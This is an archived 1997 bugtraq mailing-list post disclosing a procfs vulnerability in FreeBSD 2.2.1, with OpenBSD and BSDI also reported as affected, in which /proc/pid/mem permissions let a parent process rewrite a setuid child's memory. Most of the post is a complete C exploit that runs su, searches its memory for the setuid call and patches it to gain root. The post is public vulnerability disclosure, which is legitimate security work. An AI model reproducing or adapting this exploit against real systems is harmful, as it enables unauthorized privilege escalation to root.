Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 10 Aug 1997 05:37:40 -0400 (EDT)
From:      Brian Mitchell <brian@firehouse.net>
To:        bugtraq@netspace.org
Cc:        freebsd-security@freebsd.org
Subject:   procfs hole
Message-ID:  <Pine.NEB.3.96.970810052824.3287A-100000@apocalypse.saturn.net>

next in thread | raw e-mail | index | archive | help
There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
I have not tested 3.x but I believe it to be vulnerable as well) along
with OpenBSD (not tested by me, but by someone else -- believe it was
2.1-RELEASE although obsd doesnt mount procfs by default like freebsd
does).

The problem is all proc/#/mem access is controlled by the permissions on
the file. This means you can fork() open the childs mem device and then
have the child execute a setuid executable. Once this is done, you can
modify the setuid executables memory -- even segments that are supposed to
be nonwritable can be modified. Enclosed is a simple exploit tested under
FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
for a specific signature. Oh, you need to change your shell to a borneish
shell too, since csh/tcsh will not work when euid != ruid (unless passed
a -b script argument).

BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
not mounted, it is not even in the GENERIC kernel.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

u_char search_code[13] = {
0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
0x31, 0xc0, 0xc3};

main(int argc, char **argv)
{
	int pid;
	int fd;
	char buff[40];
	char *user;

	/* might need to tweak these */
	u_int offset=0x8003000;
	u_int offset_end = 0x8099000;

	if(argc < 2)
	{
		fprintf(stderr, "%s user\n", argv[0]);
		exit(1);
	}
	printf("Demonstration of 4.4BSD procfs hole\n");
	printf("Brian Mitchell <brian@firehouse.net>\n\n");
	printf("after you see \"setuid changed\", enter the pw for the user\n");
	printf("\aBe warned, searching for the setuid() function takes a long time!\n");
	user=argv[1];
	pid = fork();
	switch(pid)
	{
		case -1:
			perror("fork");
			exit(1);
		case 0:
			/* give parent time to open /proc/pid/mem */
			sleep(3);
			execl("/usr/bin/su", "su", user, NULL);
			exit(0);
		default:
			sprintf(buff, "/proc/%d/mem", pid);
			fd = open(buff, O_RDWR);
			if(fd < 0)
			{
				perror("open procmem");
				wait(NULL);
				exit(1);
			}
			/* wait for child to execute suid program */
			sleep(6);
			/* stop the child */
			kill(pid, 17);
			printf("searching - please be patient...\n");
			/* search for the setuid code */
			while(offset != offset_end)
			{
				lseek(fd, offset, SEEK_SET);
				read(fd, buff, 13);
				if(!bcmp(buff, search_code, 13))
				{
					lseek(fd, offset, SEEK_SET);
					write(fd, new_code, 3);
					printf("setuid changed (0x%x)\n", offset);
					/* sigcont child */
					kill(pid, 19);
					wait(NULL);
					exit(0);
				}
				offset++;
			}
			printf("setuid not found!!\n");
			kill(pid, 9);
			wait(NULL);
			exit(1);
	}
}


Brian Mitchell                                  brian@firehouse.net
"BSD code sucks. Of course, everything else sucks far more."
- Theo de Raadt (OpenBSD President)





Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.NEB.3.96.970810052824.3287A-100000>